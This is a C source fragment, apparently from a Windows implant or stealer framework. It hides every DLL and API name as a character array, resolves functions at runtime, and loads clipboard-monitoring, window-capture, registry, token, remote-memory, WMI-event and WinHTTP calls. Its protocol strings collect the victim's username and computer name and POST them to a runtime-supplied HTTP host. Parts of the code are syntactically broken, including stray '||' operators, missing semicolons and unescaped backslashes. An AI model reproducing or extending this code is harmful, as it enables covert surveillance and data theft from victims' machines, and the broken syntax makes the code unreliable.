#define API_COINITIALIZESECURITY			 CoInitializeSecurity
#define API_COSETPROXYBLANKET			 CoSetProxyBlanket
#define API_COUNINITIALIZE			 CoUninitialize

/* ---> Ole32 <--- */
#define API_COCREATEINSTANCE			 pRuntime->pOle32->fpCoCreateInstance
#define API_COINITIALIZEEX			 pRuntime->pOle32->fpCoInitializeEx
#define API_COINITIALIZESECURITY			 pRuntime->pOle32->fpCoInitializeSecurity
#define API_COSETPROXYBLANKET			 pRuntime->pOle32->fpCoSetProxyBlanket
#define API_COUNINITIALIZE			 pRuntime->pOle32->fpCoUninitialize



BOOL LoadOle32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

    HMODULE hOle32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strOle32);

    if (hOle32 == NULL)
	return FALSE;

    pRuntime->pOle32->fpCoCreateInstance = (COCREATEINSTANCE)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoCreateInstance);
    pRuntime->pOle32->fpCoInitializeEx = (COINITIALIZEEX)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoInitializeEx);
    pRuntime->pOle32->fpCoInitializeSecurity = (COINITIALIZESECURITY)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoInitializeSecurity);
    pRuntime->pOle32->fpCoSetProxyBlanket = (COSETPROXYBLANKET)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoSetProxyBlanket);
    pRuntime->pOle32->fpCoUninitialize = (COUNINITIALIZE)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoUninitialize);


    if (
        !pRuntime->pOle32->fpCoCreateInstance || 
        !pRuntime->pOle32->fpCoInitializeEx || 
        !pRuntime->pOle32->fpCoInitializeSecurity || 
        !pRuntime->pOle32->fpCoSetProxyBlanket || 
        !pRuntime->pOle32->fpCoUninitialize || 
	)
	return FALSE;

    return TRUE;
}
---> User32 <---
BOOL WINAPI AddClipboardFormatListener(_In_ HWND hwnd);
BOOL WINAPI CloseClipboard(void);
HANDLE WINAPI GetClipboardData(_In_ UINT uFormat);
HWND WINAPI GetClipboardOwner(void);
HWND WINAPI GetForegroundWindow(void);
DWORD WINAPI GetWindowThreadProcessId(_In_      HWND    hWnd, _Out_opt_ LPDWORD lpdwProcessId);
int WINAPI GetWindowTextA(_In_  HWND   hWnd, _Out_ LPCSTR lpString, _In_  int    nMaxCount);
BOOL WINAPI OpenClipboard(_In_opt_ HWND hWndNewOwner);
typedef BOOL(WINAPI *ADDCLIPBOARDFORMATLISTENER)(_In_ HWND hwnd);
typedef BOOL(WINAPI *CLOSECLIPBOARD)(void);
typedef HANDLE(WINAPI *GETCLIPBOARDDATA)(_In_ UINT uFormat);
typedef HWND(WINAPI *GETCLIPBOARDOWNER)(void);
typedef HWND(WINAPI *GETFOREGROUNDWINDOW)(void);
typedef DWORD(WINAPI *GETWINDOWTHREADPROCESSID)(_In_      HWND    hWnd, _Out_opt_ LPDWORD lpdwProcessId);
typedef int(WINAPI *GETWINDOWTEXTA)(_In_  HWND   hWnd, _Out_ LPCSTR lpString, _In_  int    nMaxCount);
typedef BOOL(WINAPI *OPENCLIPBOARD)(_In_opt_ HWND hWndNewOwner);



typedef struct _VTABLE_USER32
{
    ADDCLIPBOARDFORMATLISTENER fpAddClipboardFormatListener;
    CLOSECLIPBOARD fpCloseClipboard;
    GETCLIPBOARDDATA fpGetClipboardData;
    GETCLIPBOARDOWNER fpGetClipboardOwner;
    GETFOREGROUNDWINDOW fpGetForegroundWindow;
    GETWINDOWTHREADPROCESSID fpGetWindowThreadProcessId;
    GETWINDOWTEXTA fpGetWindowTextA;
    OPENCLIPBOARD fpOpenClipboard;

} VTABLE_USER32, *PVTABLE_USER32;




/* ---> User32 <--- */
#define API_ADDCLIPBOARDFORMATLISTENER			 AddClipboardFormatListener
#define API_CLOSECLIPBOARD			 CloseClipboard
#define API_GETCLIPBOARDDATA			 GetClipboardData
#define API_GETCLIPBOARDOWNER			 GetClipboardOwner
#define API_GETFOREGROUNDWINDOW			 GetForegroundWindow
#define API_GETWINDOWTHREADPROCESSID			 GetWindowThreadProcessId
#define API_GETWINDOWTEXTA			 GetWindowTextA
#define API_OPENCLIPBOARD			 OpenClipboard

/* ---> User32 <--- */
#define API_ADDCLIPBOARDFORMATLISTENER			 pRuntime->pUser32->fpAddClipboardFormatListener
#define API_CLOSECLIPBOARD			 pRuntime->pUser32->fpCloseClipboard
#define API_GETCLIPBOARDDATA			 pRuntime->pUser32->fpGetClipboardData
#define API_GETCLIPBOARDOWNER			 pRuntime->pUser32->fpGetClipboardOwner
#define API_GETFOREGROUNDWINDOW			 pRuntime->pUser32->fpGetForegroundWindow
#define API_GETWINDOWTHREADPROCESSID			 pRuntime->pUser32->fpGetWindowThreadProcessId
#define API_GETWINDOWTEXTA			 pRuntime->pUser32->fpGetWindowTextA
#define API_OPENCLIPBOARD			 pRuntime->pUser32->fpOpenClipboard



BOOL LoadUser32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

    HMODULE hUser32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strUser32);

    if (hUser32 == NULL)
	return FALSE;

    pRuntime->pUser32->fpAddClipboardFormatListener = (ADDCLIPBOARDFORMATLISTENER)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strAddClipboardFormatListener);
    pRuntime->pUser32->fpCloseClipboard = (CLOSECLIPBOARD)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strCloseClipboard);
    pRuntime->pUser32->fpGetClipboardData = (GETCLIPBOARDDATA)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetClipboardData);
    pRuntime->pUser32->fpGetClipboardOwner = (GETCLIPBOARDOWNER)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetClipboardOwner);
    pRuntime->pUser32->fpGetForegroundWindow = (GETFOREGROUNDWINDOW)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetForegroundWindow);
    pRuntime->pUser32->fpGetWindowThreadProcessId = (GETWINDOWTHREADPROCESSID)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetWindowThreadProcessId);
    pRuntime->pUser32->fpGetWindowTextA = (GETWINDOWTEXTA)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetWindowTextA);
    pRuntime->pUser32->fpOpenClipboard = (OPENCLIPBOARD)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strOpenClipboard);


    if (
        !pRuntime->pUser32->fpAddClipboardFormatListener || 
        !pRuntime->pUser32->fpCloseClipboard || 
        !pRuntime->pUser32->fpGetClipboardData || 
        !pRuntime->pUser32->fpGetClipboardOwner || 
        !pRuntime->pUser32->fpGetForegroundWindow || 
        !pRuntime->pUser32->fpGetWindowThreadProcessId || 
        !pRuntime->pUser32->fpGetWindowTextA || 
        !pRuntime->pUser32->fpOpenClipboard || 
	)
	return FALSE;

    return TRUE;
}
typedef struct _DYNAMIC_LOADER_STRINGS
{
	CHAR strKernel32[9];
	CHAR strCloseHandle[12];
	CHAR strCreateFileA[12];
	CHAR strCreatePipe[11];
	CHAR strCreateProcessA[15];
	CHAR strCreateThread[13];
	CHAR strDeleteFileA[12];
	CHAR strEnterCriticalSection[21];
	CHAR strExitThread[11];
	CHAR strExpandEnvironmentStringsA[26];
	CHAR strFindClose[10];
	CHAR strFindFirstFileA[15];
	CHAR strFindNextFileA[14];
	CHAR strFlushFileBuffers[17];
	CHAR strFreeLibrary[12];
	CHAR strGetCurrentProcess[18];
	CHAR strGetDriveTypeA[14];
	CHAR strGetFileSize[12];
	CHAR strGetEnvironmentVariableA[24];
	CHAR strGetEnvironmentVariableW[24];
	CHAR strGetLastError[13];
	CHAR strGetProcAddress[15];
	CHAR strGetSystemTimeAsFileTime[24];
	CHAR strGetTickCount[13];
	CHAR strGlobalLock[11];
	CHAR strGlobalUnlock[13];
	CHAR strInitializeCriticalSection[26];
	CHAR strLeaveCriticalSection[21];
	CHAR strLocalAlloc[11];
	CHAR strLoadLibraryA[13];
	CHAR strLocalFree[10];
	CHAR strLocalReAlloc[13];
	CHAR strOutputDebugStringA[19];
	CHAR strReadFile[9];
	CHAR strSleep[6];
	CHAR strVirtualAlloc[13];
	CHAR strVirtualAllocEx[15];
	CHAR strVirtualFree[12];
	CHAR strVirtualProtect[15];
	CHAR strWaitForSingleObject[20];
	CHAR strWriteFile[10];
	CHAR strAdvapi32[9];
	CHAR strConvertSidToStringSidA[23];
	CHAR strGetTokenInformation[20];
	CHAR strOpenProcessToken[17];
	CHAR strRegCloseKey[12];
	CHAR strRegCreateKeyExA[16];
	CHAR strRegDeleteKeyA[14];
	CHAR strRegDisableReflectionKey[24];
	CHAR strRegEnableReflectionKey[23];
	CHAR strRegOpenCurrentUser[19];
	CHAR strRegOpenKeyExA[14];
	CHAR strRegQueryReflectionKey[22];
	CHAR strRegSetValueExA[15];
	CHAR strMsvcrt[7];
	CHAR str_beginthreadex[15];
	CHAR str_close[7];
	CHAR strIsdigit[8];
	CHAR strIsspace[8];
	CHAR str_itoa_s[8];
	CHAR str_itow_s[8];
	CHAR strMemcmp[7];
	CHAR strMemcpy[7];
	CHAR strMemcpy_s[9];
	CHAR strMemset[7];
	CHAR str_open[6];
	CHAR strRand[5];
	CHAR str_read[6];
	CHAR str_snprintf_s[12];
	CHAR str_snprintf[10];
	CHAR strSrand[6];
	CHAR strStrcmp[7];
	CHAR str_strdup[8];
	CHAR strStrlen[7];
	CHAR strStrrchr[8];
	CHAR strSscanf[7];
	CHAR strSscanf_s[9];
	CHAR strStrcat_s[9];
	CHAR strStrchr[7];
	CHAR strStrncpy_s[10];
	CHAR strStrncmp[8];
	CHAR str_strnicmp[10];
	CHAR strStrtod[7];
	CHAR strSwprintf_s[11];
	CHAR strTime[5];
	CHAR strToupper[8];
	CHAR str_vscprintf[11];
	CHAR strVsnprintf[10];
	CHAR strVsprintf[9];
	CHAR strWcscat_s[9];
	CHAR strWcscpy_s[9];
	CHAR strWcslen[7];
	CHAR str_write[7];
	CHAR str_wtoi[6];
	CHAR strWinhttp[8];
	CHAR strWinHttpCloseHandle[19];
	CHAR strWinHttpConnect[15];
	CHAR strWinHttpGetIEProxyConfigForCurrentUser[38];
	CHAR strWinHttpGetProxyForUrl[22];
	CHAR strWinHttpOpen[12];
	CHAR strWinHttpOpenRequest[19];
	CHAR strWinHttpQueryHeaders[20];
	CHAR strWinHttpReadData[16];
	CHAR strWinHttpReceiveResponse[23];
	CHAR strWinHttpSendRequest[19];
	CHAR strWinHttpSetOption[17];
	CHAR strWinHttpSetTimeouts[19];
	CHAR strWs2_32[7];
	CHAR strGethostbyname[14];
	CHAR strInet_addr[10];
	CHAR strInet_ntoa[10];
	CHAR strNtohl[6];
	CHAR strWSACleanup[11];
	CHAR strWSAStartup[11];
	CHAR strOleAut32[9];
	CHAR strSysAllocString[15];
	CHAR strSysFreeString[14];
	CHAR strVariantClear[13];
	CHAR strVariantInit[12];
	CHAR strOle32[6];
	CHAR strCoCreateInstance[17];
	CHAR strCoInitializeEx[15];
	CHAR strCoInitializeSecurity[21];
	CHAR strCoSetProxyBlanket[18];
	CHAR strCoUninitialize[15];
	CHAR strUser32[7];
	CHAR strAddClipboardFormatListener[27];
	CHAR strCloseClipboard[15];
	CHAR strGetClipboardData[17];
	CHAR strGetClipboardOwner[18];
	CHAR strGetForegroundWindow[20];
	CHAR strGetWindowThreadProcessId[25];
	CHAR strGetWindowTextA[15];
	CHAR strOpenClipboard[14];
} DYNAMIC_LOADER_STRINGS, *PDYNAMIC_LOADER_STRINGS;
DYNAMIC_LOADER_STRINGS runtimeStrings =
{
	{ 'k', 'e', 'r', 'n', 'e', 'l', '3', '2',  0x0 },
	{ 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e',  0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'A',  0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'P', 'i', 'p', 'e',  0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'A',  0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd',  0x0 },
	{ 'D', 'e', 'l', 'e', 't', 'e', 'F', 'i', 'l', 'e', 'A',  0x0 },
	{ 'E', 'n', 't', 'e', 'r', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n',  0x0 },
	{ 'E', 'x', 'i', 't', 'T', 'h', 'r', 'e', 'a', 'd',  0x0 },
	{ 'E', 'x', 'p', 'a', 'n', 'd', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'S', 't', 'r', 'i', 'n', 'g', 's', 'A',  0x0 },
	{ 'F', 'i', 'n', 'd', 'C', 'l', 'o', 's', 'e',  0x0 },
	{ 'F', 'i', 'n', 'd', 'F', 'i', 'r', 's', 't', 'F', 'i', 'l', 'e', 'A',  0x0 },
	{ 'F', 'i', 'n', 'd', 'N', 'e', 'x', 't', 'F', 'i', 'l', 'e', 'A',  0x0 },
	{ 'F', 'l', 'u', 's', 'h', 'F', 'i', 'l', 'e', 'B', 'u', 'f', 'f', 'e', 'r', 's',  0x0 },
	{ 'F', 'r', 'e', 'e', 'L', 'i', 'b', 'r', 'a', 'r', 'y',  0x0 },
	{ 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c', 'e', 's', 's',  0x0 },
	{ 'G', 'e', 't', 'D', 'r', 'i', 'v', 'e', 'T', 'y', 'p', 'e', 'A',  0x0 },
	{ 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'i', 'z', 'e',  0x0 },
	{ 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'A',  0x0 },
	{ 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'W',  0x0 },
	{ 'G', 'e', 't', 'L', 'a', 's', 't', 'E', 'r', 'r', 'o', 'r',  0x0 },
	{ 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's',  0x0 },
	{ 'G', 'e', 't', 'S', 'y', 's', 't', 'e', 'm', 'T', 'i', 'm', 'e', 'A', 's', 'F', 'i', 'l', 'e', 'T', 'i', 'm', 'e',  0x0 },
	{ 'G', 'e', 't', 'T', 'i', 'c', 'k', 'C', 'o', 'u', 'n', 't',  0x0 },
	{ 'G', 'l', 'o', 'b', 'a', 'l', 'L', 'o', 'c', 'k',  0x0 },
	{ 'G', 'l', 'o', 'b', 'a', 'l', 'U', 'n', 'l', 'o', 'c', 'k',  0x0 },
	{ 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n',  0x0 },
	{ 'L', 'e', 'a', 'v', 'e', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n',  0x0 },
	{ 'L', 'o', 'c', 'a', 'l', 'A', 'l', 'l', 'o', 'c',  0x0 },
	{ 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A',  0x0 },
	{ 'L', 'o', 'c', 'a', 'l', 'F', 'r', 'e', 'e',  0x0 },
	{ 'L', 'o', 'c', 'a', 'l', 'R', 'e', 'A', 'l', 'l', 'o', 'c',  0x0 },
	{ 'O', 'u', 't', 'p', 'u', 't', 'D', 'e', 'b', 'u', 'g', 'S', 't', 'r', 'i', 'n', 'g', 'A',  0x0 },
	{ 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e',  0x0 },
	{ 'S', 'l', 'e', 'e', 'p',  0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c',  0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 'E', 'x',  0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e',  0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't',  0x0 },
	{ 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't',  0x0 },
	{ 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e',  0x0 },
	{ 'a', 'd', 'v', 'a', 'p', 'i', '3', '2',  0x0 },
	{ 'C', 'o', 'n', 'v', 'e', 'r', 't', 'S', 'i', 'd', 'T', 'o', 'S', 't', 'r', 'i', 'n', 'g', 'S', 'i', 'd', 'A',  0x0 },
	{ 'G', 'e', 't', 'T', 'o', 'k', 'e', 'n', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n',  0x0 },
	{ 'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's', 'T', 'o', 'k', 'e', 'n',  0x0 },
	{ 'R', 'e', 'g', 'C', 'l', 'o', 's', 'e', 'K', 'e', 'y',  0x0 },
	{ 'R', 'e', 'g', 'C', 'r', 'e', 'a', 't', 'e', 'K', 'e', 'y', 'E', 'x', 'A',  0x0 },
	{ 'R', 'e', 'g', 'D', 'e', 'l', 'e', 't', 'e', 'K', 'e', 'y', 'A',  0x0 },
	{ 'R', 'e', 'g', 'D', 'i', 's', 'a', 'b', 'l', 'e', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y',  0x0 },
	{ 'R', 'e', 'g', 'E', 'n', 'a', 'b', 'l', 'e', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y',  0x0 },
	{ 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'U', 's', 'e', 'r',  0x0 },
	{ 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'A',  0x0 },
	{ 'R', 'e', 'g', 'Q', 'u', 'e', 'r', 'y', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y',  0x0 },
	{ 'R', 'e', 'g', 'S', 'e', 't', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'A',  0x0 },
	{ 'm', 's', 'v', 'c', 'r', 't',  0x0 },
	{ '_', 'b', 'e', 'g', 'i', 'n', 't', 'h', 'r', 'e', 'a', 'd', 'e', 'x',  0x0 },
	{ '_', 'c', 'l', 'o', 's', 'e',  0x0 },
	{ 'i', 's', 'd', 'i', 'g', 'i', 't',  0x0 },
	{ 'i', 's', 's', 'p', 'a', 'c', 'e',  0x0 },
	{ '_', 'i', 't', 'o', 'a', '_', 's',  0x0 },
	{ '_', 'i', 't', 'o', 'w', '_', 's',  0x0 },
	{ 'm', 'e', 'm', 'c', 'm', 'p',  0x0 },
	{ 'm', 'e', 'm', 'c', 'p', 'y',  0x0 },
	{ 'm', 'e', 'm', 'c', 'p', 'y', '_', 's',  0x0 },
	{ 'm', 'e', 'm', 's', 'e', 't',  0x0 },
	{ '_', 'o', 'p', 'e', 'n',  0x0 },
	{ 'r', 'a', 'n', 'd',  0x0 },
	{ '_', 'r', 'e', 'a', 'd',  0x0 },
	{ '_', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f', '_', 's',  0x0 },
	{ '_', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f',  0x0 },
	{ 's', 'r', 'a', 'n', 'd',  0x0 },
	{ 's', 't', 'r', 'c', 'm', 'p',  0x0 },
	{ '_', 's', 't', 'r', 'd', 'u', 'p',  0x0 },
	{ 's', 't', 'r', 'l', 'e', 'n',  0x0 },
	{ 's', 't', 'r', 'r', 'c', 'h', 'r',  0x0 },
	{ 's', 's', 'c', 'a', 'n', 'f',  0x0 },
	{ 's', 's', 'c', 'a', 'n', 'f', '_', 's',  0x0 },
	{ 's', 't', 'r', 'c', 'a', 't', '_', 's',  0x0 },
	{ 's', 't', 'r', 'c', 'h', 'r',  0x0 },
	{ 's', 't', 'r', 'n', 'c', 'p', 'y', '_', 's',  0x0 },
	{ 's', 't', 'r', 'n', 'c', 'm', 'p',  0x0 },
	{ '_', 's', 't', 'r', 'n', 'i', 'c', 'm', 'p',  0x0 },
	{ 's', 't', 'r', 't', 'o', 'd',  0x0 },
	{ 's', 'w', 'p', 'r', 'i', 'n', 't', 'f', '_', 's',  0x0 },
	{ 't', 'i', 'm', 'e',  0x0 },
	{ 't', 'o', 'u', 'p', 'p', 'e', 'r',  0x0 },
	{ '_', 'v', 's', 'c', 'p', 'r', 'i', 'n', 't', 'f',  0x0 },
	{ 'v', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f',  0x0 },
	{ 'v', 's', 'p', 'r', 'i', 'n', 't', 'f',  0x0 },
	{ 'w', 'c', 's', 'c', 'a', 't', '_', 's',  0x0 },
	{ 'w', 'c', 's', 'c', 'p', 'y', '_', 's',  0x0 },
	{ 'w', 'c', 's', 'l', 'e', 'n',  0x0 },
	{ '_', 'w', 'r', 'i', 't', 'e',  0x0 },
	{ '_', 'w', 't', 'o', 'i',  0x0 },
	{ 'W', 'i', 'n', 'h', 't', 't', 'p',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'C', 'o', 'n', 'n', 'e', 'c', 't',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'G', 'e', 't', 'I', 'E', 'P', 'r', 'o', 'x', 'y', 'C', 'o', 'n', 'f', 'i', 'g', 'F', 'o', 'r', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'U', 's', 'e', 'r',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'G', 'e', 't', 'P', 'r', 'o', 'x', 'y', 'F', 'o', 'r', 'U', 'r', 'l',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'O', 'p', 'e', 'n',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'O', 'p', 'e', 'n', 'R', 'e', 'q', 'u', 'e', 's', 't',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'Q', 'u', 'e', 'r', 'y', 'H', 'e', 'a', 'd', 'e', 'r', 's',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'R', 'e', 'a', 'd', 'D', 'a', 't', 'a',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'R', 'e', 'c', 'e', 'i', 'v', 'e', 'R', 'e', 's', 'p', 'o', 'n', 's', 'e',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'S', 'e', 'n', 'd', 'R', 'e', 'q', 'u', 'e', 's', 't',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'S', 'e', 't', 'O', 'p', 't', 'i', 'o', 'n',  0x0 },
	{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'S', 'e', 't', 'T', 'i', 'm', 'e', 'o', 'u', 't', 's',  0x0 },
	{ 'W', 's', '2', '_', '3', '2',  0x0 },
	{ 'g', 'e', 't', 'h', 'o', 's', 't', 'b', 'y', 'n', 'a', 'm', 'e',  0x0 },
	{ 'i', 'n', 'e', 't', '_', 'a', 'd', 'd', 'r',  0x0 },
	{ 'i', 'n', 'e', 't', '_', 'n', 't', 'o', 'a',  0x0 },
	{ 'n', 't', 'o', 'h', 'l',  0x0 },
	{ 'W', 'S', 'A', 'C', 'l', 'e', 'a', 'n', 'u', 'p',  0x0 },
	{ 'W', 'S', 'A', 'S', 't', 'a', 'r', 't', 'u', 'p',  0x0 },
	{ 'O', 'l', 'e', 'A', 'u', 't', '3', '2',  0x0 },
	{ 'S', 'y', 's', 'A', 'l', 'l', 'o', 'c', 'S', 't', 'r', 'i', 'n', 'g',  0x0 },
	{ 'S', 'y', 's', 'F', 'r', 'e', 'e', 'S', 't', 'r', 'i', 'n', 'g',  0x0 },
	{ 'V', 'a', 'r', 'i', 'a', 'n', 't', 'C', 'l', 'e', 'a', 'r',  0x0 },
	{ 'V', 'a', 'r', 'i', 'a', 'n', 't', 'I', 'n', 'i', 't',  0x0 },
	{ 'O', 'l', 'e', '3', '2',  0x0 },
	{ 'C', 'o', 'C', 'r', 'e', 'a', 't', 'e', 'I', 'n', 's', 't', 'a', 'n', 'c', 'e',  0x0 },
	{ 'C', 'o', 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 'E', 'x',  0x0 },
	{ 'C', 'o', 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y',  0x0 },
	{ 'C', 'o', 'S', 'e', 't', 'P', 'r', 'o', 'x', 'y', 'B', 'l', 'a', 'n', 'k', 'e', 't',  0x0 },
	{ 'C', 'o', 'U', 'n', 'i', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e',  0x0 },
	{ 'U', 's', 'e', 'r', '3', '2',  0x0 },
	{ 'A', 'd', 'd', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd', 'F', 'o', 'r', 'm', 'a', 't', 'L', 'i', 's', 't', 'e', 'n', 'e', 'r',  0x0 },
	{ 'C', 'l', 'o', 's', 'e', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd',  0x0 },
	{ 'G', 'e', 't', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd', 'D', 'a', 't', 'a',  0x0 },
	{ 'G', 'e', 't', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd', 'O', 'w', 'n', 'e', 'r',  0x0 },
	{ 'G', 'e', 't', 'F', 'o', 'r', 'e', 'g', 'r', 'o', 'u', 'n', 'd', 'W', 'i', 'n', 'd', 'o', 'w',  0x0 },
	{ 'G', 'e', 't', 'W', 'i', 'n', 'd', 'o', 'w', 'T', 'h', 'r', 'e', 'a', 'd', 'P', 'r', 'o', 'c', 'e', 's', 's', 'I', 'd',  0x0 },
	{ 'G', 'e', 't', 'W', 'i', 'n', 'd', 'o', 'w', 'T', 'e', 'x', 't', 'A',  0x0 },
	{ 'O', 'p', 'e', 'n', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd',  0x0 },
};
-------------------> MODULE <-------------------
typedef struct _VARIABLES_PROTOCOL
{
    HINTERNET* hGlobalInternet;
    HINTERNET* hSession;
    HINTERNET* hConnect;
} VARIABLES_PROTOCOL, *PVARIABLES_PROTOCOL;


typedef struct _STRINGS_PROTOCOL
{
    CHAR strFormatD[3];
    WCHAR strUsername[9]; // UNICODE
    WCHAR strComputername[13]; // UNICODE
    WCHAR strEmptyUnicode[1]; // UNICODE
    WCHAR strFormatUnicodeHttp[10]; // UNICODE
    CHAR strFormatS[3];
    CHAR strWTypes[16];
    WCHAR strPost[5]; // UNICODE
    WCHAR strContentLength[19]; // UNICODE
    CHAR strFormats[3];
    CHAR strDEBUG_response_fail[35];
    WCHAR strFormatUnicodeS[3]; // UNICODE
} STRINGS_PROTOCOL, *PPROTOCOL;
STRINGS_PROTOCOL protocolStrings =
{
	{ '%', 'd',  0x0 },
	{ 'U', 'S', 'E', 'R', 'N', 'A', 'M', 'E',  0x0 },
	{ 'C', 'O', 'M', 'P', 'U', 'T', 'E', 'R', 'N', 'A', 'M', 'E',  0x0 },
	{  0x0 },
	{ 'h', 't', 't', 'p', ':', '/', '/', '%', 'S',  0x0 },
	{ '%', 'S',  0x0 },
	{ '*', '\', 'x', '0', '0', '/', '\', 'x', '0', '0', '*', '\', 'x', '0', '0',  0x0 },
	{ 'P', 'O', 'S', 'T',  0x0 },
	{ 'C', 'o', 'n', 't', 'e', 'n', 't', '-', 'L', 'e', 'n', 'g', 't', 'h', ':', ' ', '%', 'd',  0x0 },
	{ '%', 's',  0x0 },
	{ '[', '!', '!', ']', ' ', 'W', 'i', 'n', 'H', 't', 't', 'p', 'R', 'e', 'c', 'e', 'i', 'v', 'e', 'R', 'e', 's', 'p', 'o', 'n', 's', 'e', ' ', 'F', 'A', 'I', 'L', '\', 'n',  0x0 },
	{ '%', 'S',  0x0 },
};
typedef struct _VARIABLES_EVENTSACTIONENGINE
{
    module_t* modulev;
} VARIABLES_EVENTSACTIONENGINE, *PVARIABLES_EVENTSACTIONENGINE;


typedef struct _STRINGS_EVENTSACTIONENGINE
{
} STRINGS_EVENTSACTIONENGINE, *PEVENTSACTIONENGINE;
STRINGS_EVENTSACTIONENGINE eventsactionengineStrings =
{
};
typedef struct _VARIABLES_EVENTS
{
    IWbemServices *pSvc;
    IWbemObjectSink* pStubSink;
    IUnknown* pStubUnk
    IUnsecuredApartment* pUnsecApp
    Sink *pSink
    IWbemLocator *pLoc
} VARIABLES_EVENTS, *PVARIABLES_EVENTS;


typedef struct _STRINGS_EVENTS
{
    CHAR strName_s[9];
